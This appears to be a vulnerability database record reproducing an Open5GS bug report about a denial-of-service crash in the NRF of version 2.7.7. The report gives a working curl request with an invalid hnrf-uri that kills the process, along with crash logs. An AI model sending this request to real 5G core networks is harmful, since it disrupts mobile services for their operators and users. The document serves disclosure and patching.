| タイトル | Open5gs NRF v2.7.7 Denial of Service |
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| 説明 | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
NRF crashes during inter-PLMN discovery fallback when an invalid `hnrf-uri`
query parameter is supplied together with `target-plmn-list` and
`requester-plmn-list`.
In the fallback path, if no matching home-PLMN NRF is found, the code tries to
parse `hnrf-uri`. On parse failure it logs `request->h.uri`, but `request` has
not been initialized on that path. This leads to a null dereference and
terminates the NRF process.
### Steps to reproduce
```bash
curl --http2-prior-knowledge -m 5 -sS -i --get \
'http://10.33.33.3/nnrf-disc/v1/nf-instances' \
--data-urlencode 'target-nf-type=NEF' \
--data-urlencode 'requester-nf-type=AF' \
--data-urlencode 'target-plmn-list=[{"mcc":"999","mnc":"70"}]' \
--data-urlencode 'requester-plmn-list=[{"mcc":"001","mnc":"01"}]' \
--data-urlencode 'hnrf-uri=not-a-valid-uri'
```
Then check:
```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nrf
docker logs --since 2026-04-10T17:14:16Z nrf
```
### Logs
```shell
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream
exited 139 2026-04-10T17:14:17.099516514Z
04/10 17:14:16.997: [sbi] ERROR: yuarel_parse() failed [not-a-valid-uri] (../lib/sbi/conv.c:549)
```
### Expected behaviour
NRF should reject an invalid `hnrf-uri` with a normal HTTP error response and remain running.
### Observed Behaviour
The HTTP/2 stream terminates abnormally and the NRF process exits with code `139`.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
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| ソース | ⚠️ https://github.com/open5gs/open5gs/issues/4457 |
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| ユーザー | LinJu (UID 97503) |
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| 送信 | 2026年04月20日 21:50 (2 月 ago) |
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| モデレーション | 2026年05月11日 10:02 (21 days later) |
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| ステータス | 承諾済み |
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| VulDBエントリ | 362589 [Open5GS 迄 2.7.7 NRF /lib/sbi/conv.c yuarel_parse hnrf-uri サービス拒否] |
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| ポイント | 20 |
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